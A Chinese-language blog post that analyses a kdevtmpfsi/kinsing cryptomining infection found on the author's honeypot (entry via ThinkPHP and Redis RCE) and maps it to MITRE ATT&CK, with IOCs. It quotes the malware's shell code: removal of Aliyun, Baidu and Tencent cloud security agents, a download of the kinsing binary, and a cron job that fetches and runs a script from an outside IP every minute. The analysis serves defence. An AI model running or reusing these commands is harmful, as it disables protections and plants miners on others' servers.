恶意挖矿程序场景下ATT-CK实践
MITRE ATT&CK主要是基于真实的入侵行为、APT攻击事件梳理形成的知识框图,对于甲方企业安全,可以利用其梳理自身的业务场景、设计威胁模型并与其ATT&CT中的攻击手法做对应,以其发现自身缺陷点,反推检测、防御能力,提高整体的企业安全水位。而本文是基于自己在外网搭建的蜜罐系统真实发生的入侵事件,利用ATT&CT站在攻击者的视角更有针对性的梳理攻击者的思路、攻击手法。
恶意挖矿程序简述
恶意挖矿程序基本特征
- kdevtmpfsi
- 漏洞利用:ThinkPHP RCE、redis RCE
/proc/[pid]信息tmp/kdevtmpfsi1
2
3
4
5
6
7- pid: 21940
- command: /tmp/kdevtmpfsi
- /cmdline: /tmp/kdevtmpfsi
- /comm: kdevtmpfsi
- /environ: D=FALSESKL=tUSER=apache_=/tmp/kdevtmpfsiPWD=/usr/share/nginx/html/thinkphp/publicSHLVL=3HOME=/var/www
- /cwd: lrwxrwxrwx 1 48 48 0 Mar 24 14:25 /proc/21940/cwd -> /
- /exe: lrwxrwxrwx 1 48 48 0 Mar 24 14:25 /proc/21940/exe -> /1
2
3
4
5
6
7File: `kdevtmpfsi'
Size: 3922304 Blocks: 7664 IO Block: 4096 regular file
Device: 33h/51d Inode: 1024056 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 48/ apache) Gid: ( 48/ apache)
Access: 2020-03-24 14:21:46.219912578 +0000
Modify: 2020-03-24 14:21:46.207912765 +0000
Change: 2020-03-24 14:21:46.219912578 +0000
恶意挖矿程序初始攻击入口
作者在蜜罐系统发现存在kdevtmpfsi该恶意挖矿程序的环境为thinkphp、redis
- thinkphp RCE(远程命令执行)
- redis RCE(远程命令执行),6379端口未授权写入payload实现getshell
恶意挖矿程序初始化、执行
- 对抗:识别VPS/EC2平台,并卸载对应的安全组件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15if ps aux | grep -i '[a]liyun'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh - 植入
下载对应的守护进程1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20download2() {
$WGET $DIR/kinsing https://bitbucket.org/kimrakfl33/git/raw/master/kinsing
chmod +x $DIR/kinsing
if [ -x "$(command -v md5sum)" ]; then
sum=$(md5sum $DIR/kinsing | awk '{ print $1 }')
echo $sum
case $sum in
a71ad3167f9402d8c5388910862b16ae)
echo "kinsing OK"
;;
*)
echo "kinsing wrong"
download3
;;
esac
else
echo "No md5sum"
download3
fi
} - 持久化
crontab任务1
2
3
4
5
6
7
8
9crontab -l | grep -e "195.3.146.118" | grep -v grep
if [ $? -eq 0 ]; then
echo "cron good"
else
(
crontab -l 2>/dev/null
echo "* * * * * $LDR http://195.3.146.118/t.sh | sh > /dev/null 2>&1"
) | crontab -
fi
恶意挖矿程序实现
对恶意挖矿程序kdevtmpfsi样本逆向
- compile: ubuntu[executable AMD64]
- 内嵌的挖矿功能是基于开源的XMRig实现,币种:XMR,矿池:xmr-eu1.nanopool.org
Mitre Att&ck Matrix
样本信息对应Mitre Att&ck Matrix
Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
[External Remote Services](https://attack.mitre.org/techniques/T1133) | [Scripting](https://attack.mitre.org/techniques/T1064) | [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158) | [Scripting](https://attack.mitre.org/techniques/T1064) | [Network Sniffing](https://attack.mitre.org/techniques/T1040/) | [System Information Discovery](https://attack.mitre.org/techniques/T1082) | [Remote File Copy](https://attack.mitre.org/techniques/T1105) | [Standard Non-Application Layer Protocol](https://attack.mitre.org/techniques/T1095) | [Service Stop](https://attack.mitre.org/techniques/T1489) |
模拟攻击者视角
确定目标 -> 准备TTPs -> 实施攻击 -> 执行、对抗 -> 完成
初始访问(Initial Access): 确认目标系统、service等是否是已有对应TTPs;
执行(Execution): 运行恶意shell脚本;
持久化(Persistence):
- 卸载云平台安全组件;
- 执行守护进程;
- crontab任务;
防御绕过(Defensive Evasion): shell脚本执行;
危害(Impact): CPU资源消耗、攻击者矿池收益增加;
个人思考
ATT&CK 适用场景
- 威胁情报: 识别具体的APT组织(乙方安全侧重点)
- 红蓝对抗: 模拟具体的TTPs,检测现有体系是否可以发现、阻断
- 风险识别: 长链路的安全评估、风险识别中发现纵深防御的薄弱点
- UEBA: Tactics\Technique 已标签、模版化,检测并区分恶意、正常用户,实现攻击链路的阻断
问题
- 子攻击技术的粒度不够细腻: ATT&CK提供的是一套系统的理论体系,但是没有解决子攻击的具体检测问题,相对笼统
- 适用于极小范围、难以发现的APT攻击、检测场景,而对于大范围的常规漏洞(代码基础漏洞、业务逻辑漏洞)缺少落地点
附录:恶意挖矿程序IOC
- Filename: kdevtmpfsi
- Size: 3.7M
- Type: elf\64bits\executable
- MD5: 1692020039cb723c351aa1a6a9b03fdc
- SHA1: 9c002fa3d2b056708554a340b811a478bdb7db3b
- SHA256: 24fdf5b1e1e8086031931f2678d874487316dc1e266581b328d6e34a1fd7748c